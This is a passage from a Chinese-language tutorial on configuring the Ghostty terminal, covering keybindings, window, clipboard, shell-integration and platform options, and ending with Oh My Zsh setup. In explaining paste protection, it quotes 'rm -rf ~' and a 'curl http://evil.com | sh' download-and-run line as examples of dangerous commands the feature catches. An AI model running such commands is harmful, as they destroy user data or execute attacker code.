keybind = ctrl+a=new_window
# 第二步:追加动作 -> 焦点移到左侧分屏
keybind = chain=goto_split:left
# 第三步:再追加一个动作 -> 切换全屏
keybind = chain=toggle_fullscreen4.8 Key Table
在 Ghostty 里,Key Tables(按键表)本质上是一个“按键映射的分组系统(类似多套键盘配置档案)
Key Table = 一整套“键盘快捷键方案”,可以按场景切换
这个设计的逻辑是如果只有一套keybind:
- Vim 模式需要一套快捷键
- Shell 模式需要另一套
Ghostty将键盘映射拆成多个”表””
| Key Table | 用途 |
|---|---|
| default | 默认终端 |
| vim_mode | 模拟 Vim |
| copy_mode | 复制/选择文本 |
| search_mode | 搜索历史 |
4.9 Key-remap
在 Ghostty 里“重新定义 Ctrl / Alt / Cmd 这些修饰键的角色”,但不影响系统本身
key-remap = 在 Ghostty 内部“换按键身份”,但不改系统键盘布局
# 在 Ghostty 里,Ctrl 键 = Super(Cmd / Win)
key-remap = ctrl=super- 单向替换
ctrl=super,只能是ctrl=super - 不传递(non-transitive)
4.10 Windows设置
- windows-padding-x
控制终端内容和窗口左右边框之间的空白距离,单位是points(pt),主要是提升阅读体验,文字不贴边更舒服
| 单位 | 特点 |
|---|---|
| px | 固定大小 |
| pt | 跟屏幕缩放走 |
# 左右都一样
window-padding-x = 10
# 左右不同
window-padding-x = 2,4- windows-padding-y
window-padding-y = 控制终端内容和窗口上下边框之间的空白距离
用法是相同的和x,控制的上下
- window-padding-balance
window-padding-balance
它的目的是让终端“空白边缘”在四周分布的更加均匀,终端是“网格(grid)渲染”的,会剩下一点点“多余空间”(subpixel remainder)
window-padding = true- window-padding-color
这个选项决定了当终端窗口大小改变,或者内容没有填满整个窗口时,多出来的空白区域(内边距)显示什么颜色。
- “background” (默认): 使用你在配置中设置的 background 颜色。这是最稳妥的选择,通常与终端背景色一致
- “extend”: 智能延伸。尝试延伸最近一行网格单元的背景色到空白处
- “extend-always”: 强制延伸。同 “extend”,但忽略所有上述的智能启发式规则。无论当前行是什么内容(即使是提示符或默认色),都强制将背景色延伸到窗口边缘。
- window_vsync (垂直同步)
选项控制终端渲染是否与屏幕的刷新率同步
- true (默认): 开启垂直同步.
- :消除画面撕裂(Tearing),重绘与屏幕刷新对齐,视觉更流畅
- false: 关闭垂直同步
- 最大化重绘频率,理论上能降低输入延迟,适合对延迟极度敏感的竞技场景
- Working Directory Inheritance
新建窗口时,是否继承上一个聚焦窗口的当前路径,你正在 /project/src 目录下工作,按下快捷键打开一个新窗口
- true: 新窗口直接打开在 /project/src
- false: 新窗口打开在默认目录(通常是用户主目录 ~ 或配置的 working_directory)
- tab_inherit_working_directory
新建标签页 (Tab) 时,是否继承上一个聚焦标签页的当前路径,你在 /var/log 查看日志,想开个新标签页跑个命令
- true: 新标签页直接在 /var/log
- false: 新标签页回到主目录 ~
- split_inherit_working_directory
新建分屏 (Split Pane) 时,是否继承上一个聚焦分屏的当前路径,你将屏幕分为左右两半,左边在编译代码 (/build),右边在编辑文件。如果你在左边按快捷键再分出一个屏
- true: 新分屏也在 /build
- false: 新分屏回到主目录
- window-decoration
Ghostty(一个现代化的终端模拟器)中关于 窗口装饰 (Window Decorations) 的配置选项 window-decoration.窗口装饰指的是操作系统为窗口提供的标题栏、边框、最小化/最大化/关闭按钮等元素
| 值 | 含义 | 适用场景/效果 |
|---|---|---|
auto (默认) |
自动决策。根据当前的操作系统和桌面环境,自动选择“客户端装饰”或“服务端装饰”。 | 推荐大多数用户。能让 Ghostty 在不同系统上看起来最“原生”。 (等同于 true) |
none |
完全禁用。不显示标题栏、边框等任何装饰。 | 适合追求极致极简主义、使用平铺式窗口管理器 (如 i3, sway) 或想要自定义全部 UI 的用户。 macOS 注意:设为 none 会强制禁用标签页 (Tabs),因为 macOS 系统要求标签页必须依附于标题栏。(等同于 false) |
client |
优先客户端装饰 (CSD)。由 Ghostty 应用程序自己绘制标题栏和边框。 | 适合想要统一视觉风格,或者在某些 Linux 桌面环境下解决服务端装饰渲染问题的用户。 (v1.1.0+) |
server |
优先服务端装饰 (SSD)。由窗口管理器/合成器绘制标题栏和边框。 | 仅限 Linux (GTK, X11, 或支持特定协议的 Wayland 合成器,如 KDE Plasma)。 如果环境不支持,会自动回退到客户端装饰。 (v1.1.0+) |
- 窗口初始大小
控制新窗口打开时的默认尺寸。单位:终端网格单元格 (Grid Cells),即“列数 x 行数”,而不是像素
必须同时设置 window-width 和 window-height。如果只设其中一个,会被忽略
窗口初始位置 (window-position-x, window-position-y), 控制新窗口出现在屏幕上的坐标
- window-save-state
控制 Ghostty 退出时是否保存当前的窗口布局(位置、大小、标签页、分屏、工作目录等),以便下次启动时恢复。
- default (默认):遵循系统默认行为。macOS:仅在应用被强制终止(如崩溃、杀进程)或系统在“设置”中配置了全局保存时才保存。正常点击关闭通常不保存。
- never:从不保存状态。每次启动都是全新的空白窗口。
- always:每次退出(无论是正常关闭还是强制终止)都保存状态。下次启动时完全恢复现场。
- resize-overlay
当你拖动窗口边缘改变终端大小时,屏幕上会短暂显示一个浮层(Overlay),告诉你当前的终端尺寸(例如 120x45)。这三个选项控制这个浮层何时出现、出现在哪以及停留多久
resize-overlay:控制调整大小提示框的触发时机always(默认): 总是显示never: 从不显示- after-first (默认): 首次创建时不显示,后续调整时显示
resize-overlay-duration(显示时长)
- focus-follows-mouse
这个配置项 focus-follows-mouse 控制的是 在分屏(Split Panes)模式下,鼠标悬停是否自动切换焦点
当你的终端窗口被分割成多个部分(例如左右分屏或上下分屏)时: - true (开启):只要你的鼠标光标移动并悬停在某个分屏区域上,该分屏就会立即获得焦点(变成活动状态,可以接收键盘输入)。 - false (默认/关闭):鼠标悬停不会改变焦点。你必须点击某个分屏,它才会获得焦点。
4.11 剪切板设置
终端程序能不能读/写你的系统剪贴板,以及粘贴是否安全
- **clipboard-read / clipboard-write
控制终端里的程序能不能操作你的系统剪贴板,等同于程序读取你的剪切板时候,需要你确认,防止有的程序盗取剪切板信息
三种模式:
ask默认推荐:clipboard-read = ask和clipboard-write = allow读取剪切板需要你确认,写剪贴板直接允许allow:允许终端里的程序自由操作系统剪贴板deny:禁止终端里的程序操作系统剪贴板
- clipboard-trim-trailing-spaces
控制复制时是否去掉“行尾空格”,默认markdown友好
clipboard-trim-trailing-spaces = true- clipboard-paste-protection
防止“恶意粘贴命令”,主要是粘贴命令时候进行检测
如果检测到危险命令,如rm -rf ~, curl http://evil.com | sh等,这个选项会检测可以shell内容,然后弹框确认
4.12 终端交互行为
- image-storage-limit
终端可以显示照片(比如Kitty图像协议)
每个 terminal screen 最多能存多少“图片数据”
- 默认:320MB
- 最大:4GB
- 0:禁止图片功能
- copy-on-select
控制当你用鼠标选中文本时,是否自动复制到剪贴板
true(默认): 选中即复制clipboard:选中后,同时复制到“选择剪贴板”和“系统剪贴板”(即 Ctrl+V 也能粘贴)false:选中不自动复制,必须手动按快捷键(如 Ctrl+Shift+C)才复制
- right-click-action (右键行为)
定义在终端区域点击鼠标右键时触发的动作
可选值
context-menu(默认):弹出上下文菜单(包含复制、粘贴、设置等选项)paste:直接粘贴剪贴板内容copy:直接复制当前选中的文本copy-or-paste(智能模式)- 如果有选中文本 ➡️ 复制
- 如果没有选中文本 ➡️ 粘贴
ignore: 忽略右键点击(无任何反应)
- click-repeat-interval (连击时间间隔)
定义两次鼠标点击之间的时间间隔(毫秒),以此判断是双击/三击还是两次独立的单击
- 默认行为:
- 0:使用操作系统默认设置。
- macOS:由系统设置决定。
- 其他平台 (Linux/Windows):默认为 500ms
如果你觉得双击选中单词太容易触发(手速慢),可以减小此值(如 300);如果你觉得双击很难触发(手速快但间隔稍长),可以增大此值(如 600)
- quit-after-last-window-closed (最后窗口关闭后退出)
定义当最后一个终端窗口被关闭时,整个 Ghostty 应用程序是否退出。
不同的平台有不同的差异
- macOS (默认 false):符合 Mac 习惯。关闭窗口后,应用仍在后台运行(菜单栏图标还在),可以随时快速打开新窗口。
- Linux (默认 true):符合 Linux 习惯。关闭窗口后,应用彻底退出
- quit-after-last-window-closed-delay (退出延迟)
配合上一个选项使用,当最后一个窗口关闭后,延迟多久再彻底退出程序。
仅在 quit-after-last-window-closed = true 时生效
- 默认:未设置(立即退出)
- 平台限制:仅支持 Linux
- initial-window (初始窗口)
控制 Ghostty 启动时是否自动创建一个初始窗口
- true (默认):启动时立即打开一个终端窗口
- false:启动时不打开任何窗口,程序在后台静默运行(通常用于菜单栏应用或等待快捷键触发)
如果你设置了 initial-window = false,同时设置了 quit-after-last-window-closed = true 和 quit-after-last-window-closed-delay
后果:Ghostty 启动后,因为没有任何窗口创建,它会认为“最后一个窗口已关闭”,然后在设定的延迟时间后自动退出
- undo-timeout (撤销超时)
定义终端内的撤销操作(Undo)在多长时间内有效。(仅 macOS 支持)
Ghostty 支持撤销某些操作(如误删文本、误粘贴等,具体取决于实现)
- 默认值:5 秒
- 机制:每个操作都有独立的计时器。新操作不会重置旧操作的计时器
5. Keybindings 设置
Ghostty 支持通过按键绑定配置选项实现灵活的自定义按键绑定。
可以使用 CLI 命令 list-keybinds 列出 Ghostty 所有可用的快捷键。您可以运行此命令查看默认快捷键:
ghostty +list-keybinds --default设置的基础语法是keybind = trigger=action
5.1 Trigger
触发器(trigger)定义了按键组合,用于触发特定的操作。触发可以是单个按键、带有修饰键的单个按键,或者一系列按键。
Ghostty 目前还没有一份完善的官方文档列出所有可用的按键名称(如 F1, Enter, Backspace 等)
- 来源:这些按键定义直接沿用了 Chromium(Chrome 浏览器的内核)的键码定义
- 它们通常对应标准的 USB HID(人机接口设备)代码
如果你需要的按键不在标准列表中,或者你使用的是非美式键盘布局(如德语、法语、日语键盘),你可以直接使用该字符的 Unicode 码点来定义快捷键
- Ghostty 会监听按键事件。如果某个按键按下后产生了一个特定的 Unicode 字符(码点),Ghostty 就会触发对应的动作
过于全面的缺点就是导致过于复杂
修饰键
修饰键用于组合按键,能够提供更多的命令,执行更多的操作,配置快捷键时候,可以使用以下的修饰键,macOS和Linux有点区别,所以在设置命令中直接写统一的即可,但是为了自己能够识别,也可以按照自己习惯的写法写
| 标准名称 | 别名 | 说明 |
|---|---|---|
| shift | - | 上档键 |
| ctrl | control | 控制键 |
| alt | opt, option | 选项键 |
| super | cmd, command | 命令键 (Mac 上的 ⌘) |
注意:fn 键或键盘上的“地球仪”键不支持作为修饰键。这是操作系统和图形工具包的限制,Ghostty 无法捕获这些按键作为修饰符。
触发前缀
可以在快捷键定义前添加特殊的前缀(用冒号 : 分隔),以改变该快捷键的作用范围或输入处理方式
非唯一性:快捷键不是根据前缀区分的。例如,
ctrl+a和global:ctrl+a被视为同一个快捷键。如果你同时设置了它们,后设置的会覆盖先设置的组合使用:多个前缀可以同时使用。例如:
global:unconsumed:ctrl+a=reload_config
all: 让快捷键应用于所有终端表面,设置此标志后,动作会广播到所有打开的终端窗口。这对于窗口特定的操作(如调整大小)有效,对于已经是全局的操作(如退出程序)则无效global: 让快捷键成为系统级全局快捷键。即使 Ghostty 没有聚焦(甚至被其他应用遮挡),按下快捷键也能触发(仅仅限于macOS)unconsumed: 让快捷键在按下后不消耗事件。这意味着按下快捷键后,事件会继续传递给其他应用程序。这对于需要与其他应用程序共享快捷键的应用程序很有用。通常快捷键被触发后,该按键信号会被 Ghostty“吃掉”,不会传递给终端内运行的程序(例如Ctrl+C用于复制,Shell 就收不到中断信号)performable:仅在可执行时独占输入。这是一种智能模式.只有当动作确实能够执行时,Ghostty 才会拦截按键;否则,按键会被忽略(传递给程序)
# 有内容时复制,没内容时发送 Ctrl+C 中断信号
keybind = performable:ctrl+c=copy_to_clipboard5.2 Action
“动作”(Action) 部分,也就是当你触发快捷键后,系统具体要执行什么操作
动作名称:参数
| 动作名称 | 描述与用法 |
|---|---|
| ignore | 忽略输入。 什么都不做。这可以用来“屏蔽”特定的按键,使其既没有功能效果,也不会向终端发送任何编码信号(就像按了空气一样)。 |
| unbind | 解除绑定。 移除之前的快捷键设置。这会让按键恢复默认行为,如果是可打印字符,就会直接发送给子命令(例如在 Vim 中正常使用该键)。 |
| text:text | 发送字符串。 发送指定的文本内容。它使用 Zig 字符串字面量语法。例如 text:\x15 会发送 Ctrl-U 信号。虽然你可以通过 \x1b[ 前缀发送控制序列,但官方更推荐使用下面的 csi: 或 esc: 动作。 |
| csi:text | 发送 CSI 序列。 专门用于发送控制序列引入符(Control Sequence Introducer)序列。例如 csi:A 会发送“光标上移”的信号。 |
| esc:text | 发送转义序列。 发送转义(Escape)序列。例如 esc:d 会执行“删除到右侧单词结尾”的操作。 |
- 参数化:很多动作需要参数来指定具体内容,比如 text:hello 会输入 “hello”
- 全面性:这只是常用动作的一小部分,Ghostty 实际上支持数十种动作,涵盖了窗口管理、剪贴板操作、字体调整等各种功能。
- 语法提示:在使用 text: 发送特殊字符时,需要熟悉 Zig 语言的字符串语法(例如使用 来表示十六进制字符)
5.3 Trigger Sequences
Ghostty 中一个非常强大的功能:组合键序列。它允许你设置一个“前缀键”(比如 Ctrl+A),按下后松开,再按下一个特定的键(比如 N)来触发最终的动作。
语法格式: 前缀键 > 后续键 = 动作
组合键的特殊行为逻辑
- 等待时间(无超时限制)
当你按下前缀键(如 Ctrl+A)后,Ghostty 会无限期等待你按下下一个键。没有超时自动取消的设定
- 覆盖规则(序列优先)
如果一个键既是独立快捷键,又是组合键的前缀,组合键序列会覆盖独立快捷键。你设置了 ctrl+a 打开新窗口,又设置了ctrl+a>n 打开新标签页,结果:当你只按 ctrl+a 时,什么都不会发生。Ghostty 会进入等待状态,看你接下来是不是要按 n
- 反向覆盖(独立键解除序列)
如果你先定义了序列,后来又给前缀键定义了一个独立的动作,之前的序列绑定会被全部清除。
5.4 Keybinding Action Reference
- 基础输入与系统操作
| 动作 (Action) | 描述 |
|---|---|
| ignore | 忽略此按键组合。Ghostty 不处理也不转发给子进程(但 OS 可能仍会处理)。 |
| unbind | 解除之前绑定的快捷键。 |
| csi | 发送 CSI 序列(不含 ESC [ 头)。例如:csi:0m 重置样式。 |
| esc | 发送 ESC 转义序列。 |
| text | 发送指定文本(使用 Zig 字符串字面量语法)。 |
| cursor_key | 根据光标键模式(应用/普通)发送数据到 PTY。 |
| reset | 重置终端。用于修复程序导致的终端状态错乱。 |
| end_key_sequence | 结束当前的按键序列,并将之前的按键刷新到终端。 |
- 剪贴板与文本操作
| 动作 (Action) | 描述 |
|---|---|
| copy_to_clipboard | 将选中的文本复制到剪贴板。 |
| paste_from_clipboard | 从默认剪贴板粘贴内容。 |
| paste_from_selection | 从选择剪贴板(Selection Clipboard)粘贴内容。 |
| copy_url_to_clipboard | 如果光标下有 URL,将其复制到剪贴板。 |
| copy_title_to_clipboard | 将终端标题复制到剪贴板。 |
- 搜索与选择
| 动作 (Action) | 描述 |
|---|---|
| search | 开始搜索指定文本。若文本为空则取消搜索。 |
| search_selection | 搜索当前选中的文本。 |
| navigate_search | 在搜索结果中导航(上一个/下一个)。 |
| start_search | 启动搜索 UI(不设置搜索词)。 |
| end_search | 结束当前搜索并隐藏搜索 UI。 |
| select_all | 选中屏幕上的所有文本。 |
| adjust_selection | 调整当前选区范围(如 left, right, up, down, home, end 等)。 |
- 字体与显示
| 动作 (Action) | 描述 |
|---|---|
| increase_font_size | 增加字体大小(单位 pt)。需参数,如 increase_font_size:1。 |
| decrease_font_size | 减小字体大小(单位 pt)。需参数。 |
| reset_font_size | 将字体大小重置为配置文件的默认值。 |
| set_font_size | 将字体大小设置为指定值。需参数,如 set_font_size:14。 |
| clear_screen | 清屏并清除所有回滚历史。 |
| inspector | 控制终端检查器的可见性 (toggle, show, hide)。 |
| show_gtk_inspector | 显示 GTK 检查器(仅限 Linux)。 |
| show_on_screen_keyboard | 显示屏幕键盘(仅限 Linux/GTK)。 |
- 滚动操作
| 动作 (Action) | 描述 |
|---|---|
| scroll_to_top | 滚动到屏幕顶部。 |
| scroll_to_bottom | 滚动到屏幕底部。 |
| scroll_to_selection | 滚动到选中文本的位置。 |
| scroll_to_row | 滚动到指定的绝对行号。 |
| scroll_page_up | 向上滚动一页。 |
| scroll_page_down | 向下滚动一页。 |
| scroll_page_fractional | 按页面的分数比例滚动(正数向下,负数向上)。 |
| scroll_page_lines | 按行数滚动(正数向下,负数向上)。 |
| jump_to_prompt | 在 Shell 提示符之间跳转(需 Shell 集成)。 |
- 文件与写入
| 动作 (Action) | 描述 |
|---|---|
| write_scrollback_file | 将整个回滚历史写入临时文件(可操作:copy, paste, open)。 |
| write_screen_file | 将当前屏幕内容写入临时文件。 |
| write_selection_file | 将当前选中文本写入临时文件。 |
- 窗口标签页与分屏
| 动作 (Action) | 描述 |
|---|---|
| new_window | 打开新窗口。 |
| new_tab | 打开新标签页。 |
| previous_tab | 切换到上一个标签页。 |
| next_tab | 切换到下一个标签页。 |
| last_tab | 切换到最后一个标签页。 |
| goto_tab | 跳转到指定索引的标签页(从 1 开始)。 |
| move_tab | 相对移动标签页位置(如 move_tab:1 向前移一位)。 |
| toggle_tab_overview | 切换标签页概览(仅限 Linux + libadwaita 1.4+)。 |
| new_split | 创建新分屏(方向:right, down, auto 等)。 |
| goto_split | 聚焦到指定方向的分屏。 |
| goto_window | 聚焦到上一个或下一个窗口。 |
| toggle_split_zoom | 放大/还原当前分屏。 |
| resize_split | 调整分屏大小(如 resize_split:up,10)。 |
| equalize_splits | 均分当前窗口内所有分屏的大小。 |
- 标题与配置
| 动作 (Action) | 描述 |
|---|---|
| prompt_surface_title | 通过弹窗修改当前 Surface 的标题。 |
| prompt_tab_title | 通过弹窗修改当前标签页的标题。 |
| set_surface_title | 直接设置当前 Surface 的标题。 |
| set_tab_title | 直接设置当前标签页的标题。 |
| open_config | 在系统默认编辑器中打开配置文件。 |
| reload_config | 重新加载配置文件。 |
- 关闭与退出
| 动作 (Action) | 描述 |
|---|---|
| close_surface | 关闭当前 Surface(窗口、标签页或分屏)。 |
| close_tab | 关闭当前标签页(及其所有分屏)。 |
| close_window | 关闭当前窗口(及其所有标签页)。 |
| close_all_windows | (已弃用) 关闭所有窗口。建议使用 all:close_window。 |
- 界面外观与系统交互
| 动作 (Action) | 描述 |
|---|---|
| reset_window_size | 重置窗口为默认大小(仅限 macOS)。 |
| toggle_maximize | 最大化/还原窗口(仅限 Linux)。 |
| toggle_fullscreen | 全屏/退出全屏。 |
| toggle_window_decorations | 切换窗口装饰(标题栏等)的显示(仅限 Linux)。 |
| toggle_window_float_on_top | 切换窗口是否始终置顶(仅限 macOS)。 |
| toggle_secure_input | 切换安全输入模式(防止键盘监听,仅限 macOS)。 |
| toggle_mouse_reporting | 切换鼠标事件上报(开启后鼠标可被终端应用捕获)。 |
| toggle_command_palette | 切换命令面板(需 Linux + libadwaita 1.5+)。 |
| toggle_quick_terminal | 切换快速终端(Quake 风格下拉终端)。 |
| toggle_visibility | 显示或隐藏所有窗口(仅限 macOS)。 |
| toggle_background_opacity | 切换窗口背景透明度(仅限 macOS)。 |
| check_for_updates | 检查更新(仅限 macOS)。 |
| toggle_readonly | 切换只读模式(禁止向 PTY 发送输入)。 |
| undo | 撤销上一次操作(如关闭标签页)(仅限 macOS)。 |
| redo | 重做上一次操作(仅限 macOS)。 |
6. 其他设置
Ghostty剩余的一些设置,关于quick设置,shell设置,bell设置,macOS设置,Linux设置,gtk相关设置等
6.1 quick设置
Ghostty 终端中关于 “快速终端” 的各项高级配置。“快速终端”是一种类似于下拉菜单的终端窗口,通常通过快捷键呼出,用于快速执行命令而不打断当前工作流。
- quick-terminal-position (位置)
定义快速终端弹出时的屏幕位置,不同于常规的tab切换或者点击缩小键缩写,而是快速的呼出一个新的终端
- top (顶部), bottom (底部), left (左侧), right (右侧), center (居中)
- quick-terminal-size (尺寸)
定义快速终端的大小。
- 格式:支持百分比(如 20%)或像素(如 300px)
- 如果只设置一个值(如 30%),它控制主轴尺寸
- gtk-quick-terminal-layer
定义窗口在 Wayland 合成器中的层级,决定了它覆盖其他窗口的能力
overlay:覆盖层。显示在所有窗口之上(包括锁屏等全屏覆盖层)top顶层。显示在普通窗口之上,但在锁屏等全屏覆盖层之下bottom:底层。显示在普通窗口之下,但在壁纸和其他背景窗口之上background:背景层。显示在所有窗口之下
Wayland 合成器 就是现代 Linux 系统中,负责把你屏幕上看到的所有东西(窗口、壁纸、鼠标指针)画出来,并管理你如何与它们交互的核心程序
在传统的 Windows 或旧版 Linux (X11) 中,这些工作通常被拆分成“窗口管理器”和“显示服务器”两个角色,但在 Wayland 的世界里,它们合二为一,变成了“合成器”
- 客户端(应用程序):比如 Firefox、VS Code、终端,它们是演员。它们只负责把自己的台词(窗口内容)准备好
- Wayland 合成器:它是导演兼舞台监督
| 特性 | 旧时代 (X11) | 新时代 (Wayland 合成器) |
|---|---|---|
| 架构 | 套娃模式:窗口管理器管位置,合成器管特效,X Server 管显示。三者独立,沟通成本高。 | 一体化:合成器就是显示服务器,也是窗口管理器。 |
| 效率 | 数据要在多个组件间拷贝,容易延迟或画面撕裂。 | 应用程序直接把图像交给合成器,路径最短,效率极高。 |
| 安全 | 任何程序都能监听键盘输入(这也是键盘记录器的原理)。 | 只有合成器能看输入,它决定给谁,更安全。 |
在Linux中不同的桌面环境有不同的合成器,KWin,Mutter,wlroots等,
gtk-quick-terminal-namespace就是让你给这个“快速终端”窗口贴上一个特定的标签
quick-terminal-screen(macOS 专用)
定义快速终端应该出现在哪个显示器上
- main (默认):操作系统推荐的主屏幕(通常是当前接收键盘输入的那个)
- mouse:鼠标当前悬停的屏幕
- macos-menu-bar:包含 macOS 主菜单栏的屏幕
quick-terminal-animation-duration
动画时长 - macOS 专用
设置快速终端滑出和滑入动画的持续时间(秒),设置为0,可完全禁用动画
6.2 shell设置
这是 Ghostty 的灵魂功能,旨在解决传统终端中 Shell 与终端程序“脱节”的问题
Shell Integration
- 控制是否自动向 Shell 注入脚本
- 工作目录继承:开启后,新建标签页或分屏时,会自动继承当前终端的工作目录,无需手动
cd - 提示符标记 (Prompt Marking):允许终端识别 Shell 提示符的位置。这使得“跳转到提示符”快捷键生效,且当你光标已在提示符处却尝试关闭终端时,不会弹出烦人的确认框
- 工作目录继承:开启后,新建标签页或分屏时,会自动继承当前终端的工作目录,无需手动
- 配置值:detect (默认,自动识别 Shell 类型), none (关闭), 或指定 zsh, bash 等
shell-integration-features特性微调
这是一个逗号分隔的列表,允许你开启或关闭具体的子功能(格式:feature, no-feature)
- cursor:强制光标样式(如设为竖线 bar)
- sudo:Sudo 包装器,确保使用 sudo 时保留终端的 terminfo 信息
- title:通过 Shell 集成动态设置窗口标题
- ssh-env:SSH 环境变量兼容。连接远程主机时,自动将 TERM 从 xterm-ghostty 转换为通用的 xterm-256color,并传递 COLORTERM 等变量
- ssh-terminfo:自动安装 Terminfo。如果远程主机缺少 Ghostty 的 terminfo 定义,它会自动通过 infocmp 和 tic 命令安装。安装后会缓存,避免重复操作
- path:自动将 Ghostty 的二进制目录加入 PATH,确保在 macOS 等系统中即使 Shell 脚本重置了 PATH,ghostty 命令依然可用
6.3 bell设置
Ghostty 终端中关于“响铃”的配置项。“响铃”是一种视觉和听觉提示,用于通知用户终端中发生了某些事件,系统应该如何通知你
bell-features
这是一个逗号分隔的列表,用于控制当终端收到“响铃”信号时,触发哪些具体的提醒方式。你可以通过在特性前加 no- 来禁用它
system系统提醒:调用操作系统的内置通知机制audio: 播放一个自定义的音频文件,而不是系统默认声音,需要配合 bell-audio-path 配置使用attention(请求关注 - 默认开启) 当 Ghostty 未获得焦点时,请求用户的注意,直到窗口重新获得焦点title(标题栏标记 - 默认开启) 在终端窗口的标题前添加一个铃铛表情符号(🔔),直到终端重新获得焦点或发生交互。border(边框标记) 在终端窗口周围显示一个特殊边框,直到终端重新获得焦点或发生交互
- 自定义音频设置 如果在
bell-features中启用了 audio,你可以通过以下选项进一步调整声音效果
bell-audio-path(音频路径):指定要播放的音频文件路径bell-audio-volume(音量):设置音频的音量,范围从 0.0(静音)到 1.0(最大音量)
- 应用内通知:
app-notifications
该配置仅适用于 Linux (GTK) 平台,用于控制 Ghostty 界面顶部弹出的“Toast”通知。
6.4 macOS设置
- 全屏与窗口
| 配置项 | 说明 | 可选值 | 默认值 |
|---|---|---|---|
| macos-non-native-fullscreen | 是否使用非原生全屏(更快但不支持标签页) | true / false / visible-menu / padded-notch | false |
| macos-window-buttons | 是否显示左上角红绿灯按钮 | visible / hidden | visible |
| macos-titlebar-style | 标题栏样式 | native / transparent / tabs / hidden | transparent |
| macos-titlebar-proxy-icon | 是否显示路径代理图标 | visible / hidden | visible |
| macos-window-shadow | 是否启用窗口阴影 | true / false | true |
- DOCK窗口行为
| 配置项 | 说明 | 可选值 | 默认值 |
|---|---|---|---|
| macos-dock-drop-behavior | 拖文件到 Dock 图标的行为 | new-tab / new-window | new-tab |
| macos-hidden | 是否隐藏 Dock 和 App 切换器图标 | never / always | never |
- 键盘与输入
| 配置项 | 说明 | 可选值 | 默认值 |
|---|---|---|---|
| macos-option-as-alt | 将 Option 当作 Alt 使用 | true / false / left / right | 依键盘布局 |
| macos-auto-secure-input | 自动开启安全输入(密码场景) | true / false | true |
| macos-secure-input-indication | 是否显示安全输入提示 | true / false | true |
- 图标与外观
| 配置项 | 说明 | 可选值 | 默认值 |
|---|---|---|---|
| macos-icon | 应用图标样式 | official / blueprint / chalkboard / microchip / glass / holographic / paper / retro / xray / custom / custom-style | official |
| macos-custom-icon | 自定义图标路径 | 文件路径 | ~/.config/ghostty/Ghostty.icns |
| macos-icon-frame | 图标边框材质 | aluminum / beige / plastic / chrome | aluminum |
| macos-icon-ghost-color | 图标中幽灵颜色 | Hex / X11颜色 | 必填(custom-style) |
| macos-icon-screen-color | 图标屏幕渐变颜色 | 多个颜色 | 必填(custom-style) |
6. Ghostty Linux/GTK配置
- cgroup资源管理
cgroup 就像给每个程序一个“资源配额盒子”,每个任务都被隔离,限制程序最多用多少 CPU、内存、磁盘等资源,防止某个任务把所有资源都占用了,导致系统崩溃
| 配置项 | 说明 | 可选值 | 默认值 |
|---|---|---|---|
| linux-cgroup | 是否为每个终端 surface(tab/split/window)启用 systemd cgroup 隔离 | never / always / single-instance | single-instance |
| linux-cgroup-memory-limit | 每个终端进程的内存限制(字节,软限制 MemoryHigh) | 数值(bytes) | 未设置 |
| linux-cgroup-processes-limit | 每个终端的进程数量限制(硬限制 TasksMax) | 数值 | 未设置 |
| linux-cgroup-hard-fail | cgroup 创建失败是否导致终端创建失败 | true / false | false |
- GTK行为
| 配置项 | 说明 | 可选值 | 默认值 |
|---|---|---|---|
| gtk-opengl-debug | 是否启用 OpenGL 调试日志 | true / false | debug构建=true |
| gtk-single-instance | 是否单实例运行 | true / false / detect | detect |
窗口与标题栏
| 配置项 | 说明 | 可选值 | 默认值 |
|---|---|---|---|
| gtk-titlebar | 使用 GTK 标题栏(而非 WM) | true / false | 依环境 |
| gtk-titlebar-style | 标题栏样式 | native / tabs | native |
| gtk-titlebar-hide-when-maximized | 最大化时隐藏标题栏 | true / false | false |
7. Ghostty快捷设置方式
Ghostty有多少设置,上面已经粗略的介绍了,多到人眼睛都看不过来,有人做了网页版的ghostty config设置,简直是造福一方,官网项目ghostty-config
Ghostty Config 是一个美观的基于 Web 的配置生成器,旨在让您轻松自定义 Ghostty 终端。Ghostty Config 允许您以可视方式调整设置、实时预览更改并导出可直接使用的配置,而无需手动编辑文本文件并担心格式和语法。
7.1 ghostty-config安装
此软件安装是非常简单方便的
git clone https://github.com/zerebos/ghostty-config.git
cd ghostty-config
bun install
bun run dev安装运行起来之后,在浏览器输入
http://localhost:5173/进入页面配置端

按照你的需求,然后点击各个选项,最后会生成所需要的命令,然后直接复制或者导出即可

7.2 Oh My Zsh安装
Oh My Zsh 是一个开源的、由社区驱动的框架,旨在帮助用户更轻松地管理和自定义 Zsh(Z Shell)的配置
它是一个让 Zsh 终端变得“好用、好看、功能强大”的工具包。
开箱即用的美观主题
它内置了数百种主题(如著名的 robbyrussell, agnoster, powerlevel10k 等),可以立即改变终端的外观,显示当前目录、Git 分支状态、执行时间、虚拟环境等信息,且通常带有漂亮的颜色和图标
丰富的插件系统
这是 Oh My Zsh 最强大的功能之一。它拥有庞大的插件库,只需在配置文件中启用,即可获得各种增强功能
简化配置管理
Zsh 的原生配置文件 (.zshrc) 可能非常复杂且难以维护。Oh My Zsh 提供了一个结构化的配置文件模板,用户只需要修改少量的设置(如 ZSH_THEME 或 plugins 列表)即可生效,无需从头编写复杂的脚本
安装 Oh My Zsh 后,它会接管你的 .zshrc 文件。当你打开终端时,它会加载 Oh My Zsh 的核心脚本,然后根据你设定的配置加载相应的主题和插件
- 安装
sh -c “$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)”
sh -c “$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh -O -)”
- oh my zsh目录
Oh My Zsh的默认安装位置通常位于用户目录下的隐藏文件夹中
~/.oh-my-zsh文件夹结构
➜ .oh-my-zsh git:(master) tree -L 1
.
├── cache
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── custom
├── lib
├── LICENSE.txt
├── log
├── oh-my-zsh.sh
├── plugins
├── README.md
├── SECURITY.md
├── templates
├── themes
└── tools- oh my zshz主题启用
只需要编辑用户主目录下的配置文件 .zshrc,找到 ZSH_THEME 变量,并将其值更改为所需的主题名称即可。例如,要启用 agnoster 主题,可以执行以下操作:
# 示例:启用 robbyrussell 主题
ZSH_THEME="aussiegeek"
# 不想使用任何主题
ZSH_THEME=""
# 随机主图
ZSH_THEME="random"官网中有各个相关主题的介绍
- 主题只控制提示符(Prompt):即光标前后显示的文本(如用户名、路径、Git 状态、时间等)
- 主题不控制终端窗口本身:它不会改变终端的背景色、整体配色方案(Color Scheme)
